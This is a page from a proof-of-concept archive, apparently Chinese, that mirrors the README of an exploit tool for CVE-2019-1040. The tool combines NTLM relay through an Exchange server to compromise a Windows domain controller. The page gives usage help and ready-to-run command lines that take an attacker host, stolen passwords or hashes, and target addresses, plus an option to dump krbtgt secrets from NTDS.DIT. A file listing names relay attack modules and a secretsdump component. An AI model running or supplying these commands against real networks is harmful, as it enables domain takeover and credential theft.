支持本站 — 捐款将帮助我们持续运营

目标: 1000 元,已筹: 1000

100.0%

POC详情: e3a2274581dfc2d0c99d4abddfe0a1046c72118e

来源
关联漏洞
标题:Microsoft Windows Kernel 权限许可和访问控制问题漏洞 (CVE-2019-1041)
Description:Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Windows Kernel是其中的一个Windows系统内核。 Microsoft Windows Kernel中存在权限许可和访问控制问题漏洞。该漏洞源于网络系统或产品缺乏有效的权限许可和访问控制措施。以下产品及版本受到影响:Microsof
介绍
# CVE-2019-1040

Great writeup! [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) .

So, I wrote CVE-2019-1040.py for easy to use.

You can also check out my exchange2domain repo: https://github.com/ridter/exchange2domain, another way to use exchange to get DC.

## Requirements
These tools require [impacket](https://github.com/SecureAuthCorp/impacket). You can install it from pip with `pip install impacket`.

## Usage
```
usage: CVE-2019-1040.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
                        [--hashes HASHES] [--smb-port [destination port]] -ah
                        ATTACKER_HOST [-ap ATTACKER_PORT] -th TARGET_HOST
                        [-t TIMEOUT]
                        [--exec-method [{smbexec,wmiexec,mmcexec}]]
                        [--just-dc-user USERNAME] [--debug]
                        EX_HOSTNAME

CVE-2019-1040 with Exchange

positional arguments:
  EX_HOSTNAME           Hostname/ip of the Exchange server

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --user USERNAME
                        username for authentication
  -d DOMAIN, --domain DOMAIN
                        domain the user is in (FQDN or NETBIOS domain name)
  -p PASSWORD, --password PASSWORD
                        Password for authentication, will prompt if not
                        specified and no NT:NTLM hashes are supplied
  --hashes HASHES       LM:NLTM hashes
  --smb-port [destination port]
                        Destination port to connect to SMB Server
  -ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
                        Attacker hostname or IP
  -th TARGET_HOST, --target-host TARGET_HOST
                        Hostname or IP of the DC
  -t TIMEOUT, --timeout TIMEOUT
                        timeout in seconds
  --exec-method [{smbexec,wmiexec,mmcexec}]
                        Remote exec method to use at target (only when using
                        -use-vss). Default: smbexec
  --just-dc-user USERNAME
                        Extract only NTDS.DIT data for the user specified.
                        Only available for DRSUAPI approach.
  --debug               Enable debug output
```

example:
```
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip 
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip 
```


If you only want to dump `krbtgt`, use `--just-dc-user`.

example:
```
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip  --just-dc-user krbtgt
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip --just-dc-user krbtgt
```

![](pics/1560509768227.jpg)

<p align="center"><strong>如果我的开源项目对你有所帮助,可以使用微信赞赏</strong></p>
<p align="center">
<img width="300" src="https://blogpics-1251691280.file.myqcloud.com/imgs/20190614190623.jpeg">
</p>
文件快照

[4.0K] /data/pocs/e3a2274581dfc2d0c99d4abddfe0a1046c72118e ├── [4.0K] comm │   ├── [114K] dump.py │   ├── [ 0] __init__.py │   ├── [ 997] logger.py │   ├── [4.0K] ntlmrelayx │   │   ├── [4.0K] attacks │   │   │   ├── [1.8K] httpattack.py │   │   │   ├── [3.7K] imapattack.py │   │   │   ├── [2.9K] __init__.py │   │   │   ├── [ 32K] ldapattack.py │   │   │   ├── [ 981] mssqlattack.py │   │   │   └── [5.7K] smbattack.py │   │   ├── [4.0K] clients │   │   │   ├── [4.8K] httprelayclient.py │   │   │   ├── [3.9K] imaprelayclient.py │   │   │   ├── [4.5K] __init__.py │   │   │   ├── [7.9K] ldaprelayclient.py │   │   │   ├── [5.6K] mssqlrelayclient.py │   │   │   ├── [ 22K] smbrelayclient.py │   │   │   └── [3.1K] smtprelayclient.py │   │   ├── [ 5] __init__.py │   │   ├── [4.0K] servers │   │   │   ├── [ 16K] httprelayserver.py │   │   │   ├── [ 134] __init__.py │   │   │   ├── [ 32K] smbrelayserver.py │   │   │   ├── [4.0K] socksplugins │   │   │   │   ├── [8.1K] http.py │   │   │   │   ├── [1.9K] https.py │   │   │   │   ├── [9.4K] imap.py │   │   │   │   ├── [2.7K] imaps.py │   │   │   │   ├── [ 755] __init__.py │   │   │   │   ├── [9.1K] mssql.py │   │   │   │   ├── [ 26K] smb.py │   │   │   │   └── [6.8K] smtp.py │   │   │   └── [ 20K] socksserver.py │   │   └── [4.0K] utils │   │   ├── [4.3K] config.py │   │   ├── [2.5K] enum.py │   │   ├── [ 5] __init__.py │   │   ├── [2.7K] ssl.py │   │   ├── [5.1K] targetsutils.py │   │   └── [1.0K] tcpshell.py │   ├── [ 13K] restore.py │   └── [7.2K] secretsdump.py ├── [ 516] config.py ├── [ 11K] CVE-2019-1040.py ├── [1.0K] LICENSE ├── [4.0K] pics │   └── [469K] 1560509768227.jpg ├── [3.0K] README.md └── [ 31] requirements.txt 8 directories, 43 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。